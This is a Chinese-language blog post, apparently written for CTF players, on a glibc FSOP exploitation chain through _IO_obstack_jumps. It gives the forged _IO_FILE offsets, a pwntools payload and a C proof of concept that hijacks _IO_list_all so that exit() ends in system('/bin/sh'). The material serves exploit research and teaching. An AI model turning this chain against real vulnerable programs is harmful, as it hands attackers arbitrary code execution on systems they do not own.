一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析


前言

众所周知,由于移除了__malloc_hook/__free_hook/__realloc_hook等等一众hook全局变量,高版本glibc想要劫持程序流,离不开攻击_IO_FILE。而笔者近期在国外大佬博客中发现一条新的可利用的函数调用链,与house of apple2一样,只需要一次地址任意写,而且适用于目前所有的glibc版本,故在此结合源码和自己的理解总结分享,也感谢roderick师傅和whiter师傅的指导与支持。如果有哪里不对恳请师傅们斧正!

简介

此利用与house of applehouse of cathouse of emma等利用一样,利用了修改虚表指针的方法。主要思路就是修改虚表指针为_IO_obstack_jumps实现攻击。

利用条件

1.任意写一个可控地址或劫持 _IO_list_all。(如large bin attacktcache stashing unlink attackfastbin reverse into tcache)

2.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

3.能够泄露堆地址和libc基址。

利用原理

前置知识

_IO_FILE结构体

源码如下:

struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags

    char* _IO_read_ptr;   /* Current read pointer */ 
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;  /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN   /* temporary */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];

    /*  char* _save_gptr;  char* _save_egptr; */
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

该结构体应该不难理解,不过多赘述。

_IO_jump_t结构体

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t结构体内某一函数。

_IO_FILE_plus结构体

源码如下:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

也就是在_IO_FILE追加了个指向_IO_jump_t结构体的指针。

obstack结构体

源码如下:

struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
                      chunk contains a zero-length object.  This
                      prevents freeing the chunk if we allocate
                      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
                     handler on error, but retained for binary
                     compatibility.  */
};

在此,我们不需要过多关注,只需要理解下述函数调用链的时候,知道有这么个结构体即可。

_IO_obstack_file结构体

源码如下:

struct _IO_obstack_file
{
  struct _IO_FILE_plus file;
  struct obstack *obstack;
};

简单来说,就是给_IO_FILE_plus追加了一个指向obstack结构体的指针。

vtable 劫持的检测措施

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plusvtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

简单来说,如果 vtable 地址是非法的,那么会引发 abort。

原理分析

_IO_obstack_jumps

由上可知,vtable必须合法,我们观察以下vtable

/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, NULL),
  JUMP_INIT(overflow, _IO_obstack_overflow),
  JUMP_INIT(underflow, NULL),
  JUMP_INIT(uflow, NULL),
  JUMP_INIT(pbackfail, NULL),
  JUMP_INIT(xsputn, _IO_obstack_xsputn),
  JUMP_INIT(xsgetn, NULL),
  JUMP_INIT(seekoff, NULL),
  JUMP_INIT(seekpos, NULL),
  JUMP_INIT(setbuf, NULL),
  JUMP_INIT(sync, NULL),
  JUMP_INIT(doallocate, NULL),
  JUMP_INIT(read, NULL),
  JUMP_INIT(write, NULL),
  JUMP_INIT(seek, NULL),
  JUMP_INIT(close, NULL),
  JUMP_INIT(stat, NULL),
  JUMP_INIT(showmanyc, NULL),
  JUMP_INIT(imbue, NULL)
};

可知,该vtable内只存在两个函数,分别为_IO_obstack_overflow_IO_obstack_xsputn

接下来我们对这两个函数进行分析

_IO_obstack_overflow

static int
_IO_obstack_overflow (_IO_FILE *fp, int c)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
  int size;
  /* Make room for another character.  This might as well allocate a
     new chunk a memory and moves the old contents over.  */
  assert (c != EOF);    //关注这里
  obstack_1grow (obstack, c);
  /* Setup the buffer pointers again.  */
  fp->_IO_write_base = obstack_base (obstack);
  fp->_IO_write_ptr = obstack_next_free (obstack);
  size = obstack_room (obstack);
  fp->_IO_write_end = fp->_IO_write_ptr + size;
  /* Now allocate the rest of the current chunk.  */
  obstack_blank_fast (obstack, size);
  return c;
}

可以看到,第二个参数要为0,才能正常执行该函数。而_IO_flush_all_lockp进行调用vtable时,rsi往往是0xffffffff,如下图:

image-20221124014953594.png

故该函数无法正常执行,不考虑该函数。

_IO_obstack_xsputn

static _IO_size_t
_IO_obstack_xsputn (_IO_FILE *fp, const void *data, _IO_size_t n)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

  if (fp->_IO_write_ptr + n > fp->_IO_write_end)
    {
      int size;
      /* We need some more memory.  First shrink the buffer to the
     space we really currently need.  */
      obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);

      /* Now grow for N bytes, and put the data there.  */
      obstack_grow (obstack, data, n);

      [...]
}

观察该函数,首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);,而obstack_blank_fast是个宏定义源码如下:

#define obstack_blank_fast(h, n) ((h)->next_free += (n))

对此不过多关注。然后执行obstack_grow函数,obstack_grow函数源码如下:

#define obstack_grow(OBSTACK, where, length)                      \
  __extension__                                   \
    ({ struct obstack *__o = (OBSTACK);                       \
       int __len = (length);                              \
       if (_o->next_free + __len > __o->chunk_limit)                  \
     _obstack_newchunk (__o, __len);                      \
       memcpy (__o->next_free, where, __len);                     \
       __o->next_free += __len;                           \
       (void) 0; })

可以看到,当_o->next_free + __len > __o->chunk_limit时,调用_obstack_newchunk_obstack_newchunk函数源码如下:

void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h->chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h->next_free - h->object_base;
  long i;
  long already;
  char *object_base;

  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
  if (new_size < h->chunk_size)
    new_size = h->chunk_size;

  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size);
  [...]
}

对此,我们关注CALL_CHUNKFUN这个宏定义,CALL_CHUNKFUN源码如下:

# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)                               \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))                     \
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size)),而这也就是我们要利用的点。

函数调用链

从调用_IO_obstack_xsputn开始分析,假设满足上述所有需要绕过的条件,得以下调用链:

  • _IO_obstack_xsputn
  • obstack_grow
    • _obstack_newchunk
    • CALL_CHUNKFUN(一个宏定义)
      • (*(h)->chunkfun)((h)->extra_arg, (size))

利用方法

本文介绍amd64下通过FSOP触发这一个利用思路。

我们知道FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

我们调试可以知道_IO_overflow位于vtable指针所指向地址+0x18处,也就是说当FSOP发生的时候会调用_IO_FILE_plus.vtable 中的_IO_overflow。即调用vtable指针所指向地址 + 0x18处的数据。

image-20221124020727031.png

那么只要我们伪造一个_IO_FILE结构体,将它的vtable替换为&_IO_obstack_jumps+0x20,此时vtable指针所指地址+0x18处为_IO_obstack_xsputn。假设满足所有需要绕过的条件,执行_IO_flush_all_lockp 时,会执行_IO_obstack_xsputn,假设通过exit进行FSOP,得到以下调用链。

exit
 __run_exit_handlers
   fcloseall
     _IO_cleanup
    _IO_flush_all_lockp
            _IO_obstack_xsputn
            obstack_grow
                _obstack_newchunk
                        CALL_CHUNKFUN(一个宏定义)
                        (*(h)->chunkfun)((h)->extra_arg, (size))

结合原理分析的内容可知,当满足以下条件的时候可以实现攻击:

  • 利用largebin attack伪造_IO_FILE,记完成伪造的chunkA(或者别的手法)

  • chunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20

  • chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体

  • chunk A内偏移为0x18处设为1(next_free)

  • chunk A内偏移为0x20处设为0(chunk_limit

  • chunk A内偏移为0x48处设为&/bin/sh

  • chunk A内偏移为0x38处设为system函数的地址

  • chunk A内偏移为0x28处设为1(_IO_write_ptr)

  • chunk A内偏移为0x30处设为0 (_IO_write_end)

  • chunk A内偏移为0x50处设为1 (use_extra_arg)

可参考payload如下:

def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr

payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:address_for_rdi,
        0x28:address_for_call,
        0x18:1,
        0x20:0,
        0x40:1, 
        0xd0:heap_base + 0x250,
        0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
    },
    filler = '\x00'
)

利用该payload进行攻击结果展示如下:

image-20221124024136104.png

POC

/*
 * @Author: 7resp4ss
 * @Date: 2022-11-23 18:09:39
 * @LastEditTime: 2022-11-23 17:26:04
 * @Description: 
 *gcc poc.c -g -o poc

 *GLIBC version are as follows:
    GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3.2) stable release version 2.34.
    Copyright (C) 2021 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.
    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
    PARTICULAR PURPOSE.
    Compiled by GNU CC version 10.3.0.
    libc ABIs: UNIQUE IFUNC ABSOLUTE
    For bug reporting instructions, please see:
    <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
*/


#include<stdio.h>
#include <stdlib.h>

#define writeend_offset 0x30
#define writeptr_offset 0x28
#define vtable_offset 0xd8
#define next_free_offset 0x18 
#define chunk_limit_offset 0x20
#define caller_offset 0x38
#define caller_arg_offset 0x48
#define use_arg_offset 0x50
#define fake_obstack_offset 0xe0

void backdoor(char *cmd)
{
  puts("OHHH!HACKER!!!");
  puts("HERE IS U SHELL!");
  system(cmd);
}

char *fake_arg = "/bin/sh\x00";

int main(void)
{
    puts("this is a poc");
    size_t libc_base = &puts - 0x80ef0;
    size_t _IO_list_all_prt = libc_base + 0x21a660;
    size_t _IO_obstack_jumps_prt = libc_base + 0x2163c0;
    void *ptr;
    long long *list_all_ptr;
    ptr=malloc(0x200);
    //bypass
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writeend_offset)=0x0;
    *(long long*)((long long)ptr+next_free_offset)=0x1;
    *(long long*)((long long)ptr+chunk_limit_offset)=0x0;
    *(long long*)((long long)ptr+use_arg_offset)=0x1;
    *(long long*)((long long)ptr+fake_obstack_offset)=(long long*)ptr;
    //vtable _IO_obstack_jumps_prt
    *(long long*)((long long)ptr+vtable_offset)=(long long*)(_IO_obstack_jumps_prt+0x20);
    //set the function to call and its parameters
    *(long long*)((long long)ptr+caller_offset)=(long long*)(&backdoor);
    *(long long*)((long long)ptr+caller_arg_offset)=(long long*)(fake_arg);
    //_IO_list_all _chain 2 fake _IO_FILE_plus
    list_all_ptr=(long long *)(_IO_list_all_prt + 0x68 + 0x20);
    list_all_ptr[0]=ptr;
    exit(0);
}

POC运行结果如下:

image-20221124052824890.png

总结

该攻击手法的利用非常简单,而且可以稳定控制需要调用的函数和rdi,需要bypass的条件也很容易满足。若遇到需要栈迁移的题目,只需要利用好类似setcontext+53gadget即可。

参考链接

评论

7resp4ss

Super Sleeper and Binary Security Searcher.

随机分类

MongoDB安全 文章:3 篇
CTF 文章:62 篇
硬件与物联网 文章:40 篇
漏洞分析 文章:212 篇
运维安全 文章:62 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录